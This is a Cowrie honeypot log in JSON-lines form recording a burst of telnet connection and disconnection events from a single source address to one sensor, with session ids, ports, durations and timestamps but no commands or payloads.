{"eventid":"cowrie.session.closed","duration":31.63137650489807,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:07.141309Z","src_ip":"51.161.172.108","session":"277cf975e18e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.05565905570984,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:07.155585Z","src_ip":"51.161.172.108","session":"46d56366394c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":33512,"dst_ip":"159.203.135.109","dst_port":23,"session":"f56411d6c786","protocol":"telnet","message":"New connection: 51.161.172.108:33512 (159.203.135.109:23) [session: f56411d6c786]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:07.197484Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":33530,"dst_ip":"159.203.135.109","dst_port":23,"session":"69dcb6298f88","protocol":"telnet","message":"New connection: 51.161.172.108:33530 (159.203.135.109:23) [session: 69dcb6298f88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:07.233824Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":33520,"dst_ip":"159.203.135.109","dst_port":23,"session":"2810fc84ac12","protocol":"telnet","message":"New connection: 51.161.172.108:33520 (159.203.135.109:23) [session: 2810fc84ac12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:07.321370Z"}
{"eventid":"cowrie.session.closed","duration":30.624515295028687,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:07.347510Z","src_ip":"51.161.172.108","session":"47f365a4fe01","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.146183967590332,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:07.374717Z","src_ip":"51.161.172.108","session":"f4bb2914aff2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.513258457183838,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:07.420326Z","src_ip":"51.161.172.108","session":"f650631d173a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.132672786712646,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:07.426581Z","src_ip":"51.161.172.108","session":"e42c8ef9b627","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":33590,"dst_ip":"159.203.135.109","dst_port":23,"session":"be0fa85c1e6b","protocol":"telnet","message":"New connection: 51.161.172.108:33590 (159.203.135.109:23) [session: be0fa85c1e6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:07.652845Z"}
{"eventid":"cowrie.session.closed","duration":31.096206426620483,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:07.664566Z","src_ip":"51.161.172.108","session":"a914f4bed2bd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":33594,"dst_ip":"159.203.135.109","dst_port":23,"session":"266217f38ace","protocol":"telnet","message":"New connection: 51.161.172.108:33594 (159.203.135.109:23) [session: 266217f38ace]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:07.837101Z"}
{"eventid":"cowrie.session.closed","duration":31.480340480804443,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:07.845619Z","src_ip":"51.161.172.108","session":"a05641ab2d86","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":33634,"dst_ip":"159.203.135.109","dst_port":23,"session":"fddf65908ced","protocol":"telnet","message":"New connection: 51.161.172.108:33634 (159.203.135.109:23) [session: fddf65908ced]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:07.933970Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":33632,"dst_ip":"159.203.135.109","dst_port":23,"session":"7d5c471c8f2f","protocol":"telnet","message":"New connection: 51.161.172.108:33632 (159.203.135.109:23) [session: 7d5c471c8f2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:08.021083Z"}
{"eventid":"cowrie.session.closed","duration":31.484654664993286,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:08.066747Z","src_ip":"51.161.172.108","session":"60e8a14c8e6b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.79294466972351,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:08.148314Z","src_ip":"51.161.172.108","session":"2b4c515b4e19","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.803879022598267,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:08.198929Z","src_ip":"51.161.172.108","session":"239315d7e399","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.260433197021484,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:08.230693Z","src_ip":"51.161.172.108","session":"60f2a673e750","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":33554,"dst_ip":"159.203.135.109","dst_port":23,"session":"c3f36f1db660","protocol":"telnet","message":"New connection: 51.161.172.108:33554 (159.203.135.109:23) [session: c3f36f1db660]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:08.360307Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":33694,"dst_ip":"159.203.135.109","dst_port":23,"session":"321db150fa2e","protocol":"telnet","message":"New connection: 51.161.172.108:33694 (159.203.135.109:23) [session: 321db150fa2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:08.367487Z"}
{"eventid":"cowrie.session.closed","duration":31.050625562667847,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:08.381410Z","src_ip":"51.161.172.108","session":"02864009f0e9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":33712,"dst_ip":"159.203.135.109","dst_port":23,"session":"0111fdac5d59","protocol":"telnet","message":"New connection: 51.161.172.108:33712 (159.203.135.109:23) [session: 0111fdac5d59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:08.495169Z"}
{"eventid":"cowrie.session.closed","duration":31.382360458374023,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:08.528394Z","src_ip":"51.161.172.108","session":"5c98ed6c4ac4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":33780,"dst_ip":"159.203.135.109","dst_port":23,"session":"1b7171fb67d2","protocol":"telnet","message":"New connection: 51.161.172.108:33780 (159.203.135.109:23) [session: 1b7171fb67d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:08.726745Z"}
{"eventid":"cowrie.session.closed","duration":31.798760652542114,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:08.741510Z","src_ip":"51.161.172.108","session":"33886c271e59","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.40596842765808,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:08.806904Z","src_ip":"51.161.172.108","session":"c40cdb47dffe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":33788,"dst_ip":"159.203.135.109","dst_port":23,"session":"2163748d255f","protocol":"telnet","message":"New connection: 51.161.172.108:33788 (159.203.135.109:23) [session: 2163748d255f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:08.923632Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":33798,"dst_ip":"159.203.135.109","dst_port":23,"session":"9d2ddfe99939","protocol":"telnet","message":"New connection: 51.161.172.108:33798 (159.203.135.109:23) [session: 9d2ddfe99939]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:09.081131Z"}
{"eventid":"cowrie.session.closed","duration":31.86358070373535,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:09.088885Z","src_ip":"51.161.172.108","session":"35eff5b153c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.0961332321167,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:09.126938Z","src_ip":"51.161.172.108","session":"31ab67ec3633","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":33810,"dst_ip":"159.203.135.109","dst_port":23,"session":"fdffc1d23a48","protocol":"telnet","message":"New connection: 51.161.172.108:33810 (159.203.135.109:23) [session: fdffc1d23a48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:09.162310Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":33800,"dst_ip":"159.203.135.109","dst_port":23,"session":"6f69cf085d96","protocol":"telnet","message":"New connection: 51.161.172.108:33800 (159.203.135.109:23) [session: 6f69cf085d96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:09.190483Z"}
{"eventid":"cowrie.session.closed","duration":30.787359714508057,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:09.218934Z","src_ip":"51.161.172.108","session":"da9aa9320466","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37770,"dst_ip":"159.203.135.109","dst_port":23,"session":"4c93d10d7651","protocol":"telnet","message":"New connection: 51.161.172.108:37770 (159.203.135.109:23) [session: 4c93d10d7651]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:09.287011Z"}
{"eventid":"cowrie.session.closed","duration":31.55103373527527,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:09.343665Z","src_ip":"51.161.172.108","session":"a995e61361cd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.198455810546875,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:09.425094Z","src_ip":"51.161.172.108","session":"18b8f5191845","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":33696,"dst_ip":"159.203.135.109","dst_port":23,"session":"f57d2af0476f","protocol":"telnet","message":"New connection: 51.161.172.108:33696 (159.203.135.109:23) [session: f57d2af0476f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:09.486712Z"}
{"eventid":"cowrie.session.closed","duration":30.87969708442688,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:09.556249Z","src_ip":"51.161.172.108","session":"09354ad4d807","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37792,"dst_ip":"159.203.135.109","dst_port":23,"session":"aca9af4375c1","protocol":"telnet","message":"New connection: 51.161.172.108:37792 (159.203.135.109:23) [session: aca9af4375c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:09.640700Z"}
{"eventid":"cowrie.session.closed","duration":31.78593635559082,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:09.658871Z","src_ip":"51.161.172.108","session":"eca4c1a23c30","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.911497354507446,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:09.760592Z","src_ip":"51.161.172.108","session":"31a1f7fae965","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.70980143547058,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:09.916490Z","src_ip":"51.161.172.108","session":"9d91dae62aaa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37804,"dst_ip":"159.203.135.109","dst_port":23,"session":"01ef8383bfe7","protocol":"telnet","message":"New connection: 51.161.172.108:37804 (159.203.135.109:23) [session: 01ef8383bfe7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:09.962506Z"}
{"eventid":"cowrie.session.closed","duration":31.615490913391113,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:10.145877Z","src_ip":"51.161.172.108","session":"be9628645c6f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.29483652114868,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:10.155094Z","src_ip":"51.161.172.108","session":"a5e598d21e95","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.072637796401978,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:10.190878Z","src_ip":"51.161.172.108","session":"95ea4c7f1427","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.031885385513306,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:10.207649Z","src_ip":"51.161.172.108","session":"dd881ac184a0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37820,"dst_ip":"159.203.135.109","dst_port":23,"session":"af39812c0d2e","protocol":"telnet","message":"New connection: 51.161.172.108:37820 (159.203.135.109:23) [session: af39812c0d2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:10.226474Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37834,"dst_ip":"159.203.135.109","dst_port":23,"session":"26f8d4d346c0","protocol":"telnet","message":"New connection: 51.161.172.108:37834 (159.203.135.109:23) [session: 26f8d4d346c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:10.372885Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37858,"dst_ip":"159.203.135.109","dst_port":23,"session":"e5e3cb543905","protocol":"telnet","message":"New connection: 51.161.172.108:37858 (159.203.135.109:23) [session: e5e3cb543905]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:10.542737Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37850,"dst_ip":"159.203.135.109","dst_port":23,"session":"ccb4f84b6a1a","protocol":"telnet","message":"New connection: 51.161.172.108:37850 (159.203.135.109:23) [session: ccb4f84b6a1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:10.648754Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37874,"dst_ip":"159.203.135.109","dst_port":23,"session":"4bfe720aa718","protocol":"telnet","message":"New connection: 51.161.172.108:37874 (159.203.135.109:23) [session: 4bfe720aa718]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:10.804623Z"}
{"eventid":"cowrie.session.closed","duration":32.33840298652649,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:10.889618Z","src_ip":"51.161.172.108","session":"df385812bfae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37886,"dst_ip":"159.203.135.109","dst_port":23,"session":"e365b657c0f0","protocol":"telnet","message":"New connection: 51.161.172.108:37886 (159.203.135.109:23) [session: e365b657c0f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:10.933929Z"}
{"eventid":"cowrie.session.closed","duration":30.582029581069946,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:11.196665Z","src_ip":"51.161.172.108","session":"b8f5499a71c5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.13299584388733,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:11.216941Z","src_ip":"51.161.172.108","session":"f92d29d5a4a8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.7658588886261,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:11.260025Z","src_ip":"51.161.172.108","session":"f500d8801598","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.303186178207397,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:11.310424Z","src_ip":"51.161.172.108","session":"f7be70dd1e39","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37978,"dst_ip":"159.203.135.109","dst_port":23,"session":"6ab6ffebe4e0","protocol":"telnet","message":"New connection: 51.161.172.108:37978 (159.203.135.109:23) [session: 6ab6ffebe4e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:11.502239Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37996,"dst_ip":"159.203.135.109","dst_port":23,"session":"5cc383549005","protocol":"telnet","message":"New connection: 51.161.172.108:37996 (159.203.135.109:23) [session: 5cc383549005]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:11.559204Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37786,"dst_ip":"159.203.135.109","dst_port":23,"session":"23a985b94632","protocol":"telnet","message":"New connection: 51.161.172.108:37786 (159.203.135.109:23) [session: 23a985b94632]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:11.573272Z"}
{"eventid":"cowrie.session.closed","duration":31.086078882217407,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:11.586081Z","src_ip":"51.161.172.108","session":"3153b88702a8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.264342784881592,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:11.687575Z","src_ip":"51.161.172.108","session":"57af4114a668","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":38040,"dst_ip":"159.203.135.109","dst_port":23,"session":"83967bfa69f6","protocol":"telnet","message":"New connection: 51.161.172.108:38040 (159.203.135.109:23) [session: 83967bfa69f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:11.878558Z"}
{"eventid":"cowrie.session.closed","duration":32.158756732940674,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:12.023634Z","src_ip":"51.161.172.108","session":"49e31fe38520","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":38070,"dst_ip":"159.203.135.109","dst_port":23,"session":"c73a501f960d","protocol":"telnet","message":"New connection: 51.161.172.108:38070 (159.203.135.109:23) [session: c73a501f960d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:12.108705Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":38080,"dst_ip":"159.203.135.109","dst_port":23,"session":"045057e30dbb","protocol":"telnet","message":"New connection: 51.161.172.108:38080 (159.203.135.109:23) [session: 045057e30dbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:12.121880Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":38092,"dst_ip":"159.203.135.109","dst_port":23,"session":"110fe6c71844","protocol":"telnet","message":"New connection: 51.161.172.108:38092 (159.203.135.109:23) [session: 110fe6c71844]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:12.227486Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":38108,"dst_ip":"159.203.135.109","dst_port":23,"session":"5bdd463ebb36","protocol":"telnet","message":"New connection: 51.161.172.108:38108 (159.203.135.109:23) [session: 5bdd463ebb36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:12.258130Z"}
{"eventid":"cowrie.session.closed","duration":31.281272411346436,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:12.326366Z","src_ip":"51.161.172.108","session":"e51ac403c973","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":38150,"dst_ip":"159.203.135.109","dst_port":23,"session":"e099f62c3087","protocol":"telnet","message":"New connection: 51.161.172.108:38150 (159.203.135.109:23) [session: e099f62c3087]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:12.405392Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37948,"dst_ip":"159.203.135.109","dst_port":23,"session":"ca1eae8168ed","protocol":"telnet","message":"New connection: 51.161.172.108:37948 (159.203.135.109:23) [session: ca1eae8168ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:12.559294Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":38170,"dst_ip":"159.203.135.109","dst_port":23,"session":"ee2946652e48","protocol":"telnet","message":"New connection: 51.161.172.108:38170 (159.203.135.109:23) [session: ee2946652e48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:12.661217Z"}
{"eventid":"cowrie.session.closed","duration":31.31616735458374,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:12.763573Z","src_ip":"51.161.172.108","session":"9853318c7f93","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.56085181236267,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:12.861063Z","src_ip":"51.161.172.108","session":"e98ca624dc53","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.41700577735901,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:12.897062Z","src_ip":"51.161.172.108","session":"9a1f6a9acb92","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.78151249885559,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:12.901889Z","src_ip":"51.161.172.108","session":"8180eed0ca4e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.596174001693726,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:12.935234Z","src_ip":"51.161.172.108","session":"0d2dd7c3bf02","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.33680534362793,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:13.045804Z","src_ip":"51.161.172.108","session":"f6376b31f44d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":38242,"dst_ip":"159.203.135.109","dst_port":23,"session":"c2dc20f848d2","protocol":"telnet","message":"New connection: 51.161.172.108:38242 (159.203.135.109:23) [session: c2dc20f848d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:13.173345Z"}
{"eventid":"cowrie.session.closed","duration":30.759573221206665,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:13.209831Z","src_ip":"51.161.172.108","session":"33be78e4d979","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.348520517349243,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:13.215930Z","src_ip":"51.161.172.108","session":"d28c8c39d430","protocol":"telnet"}
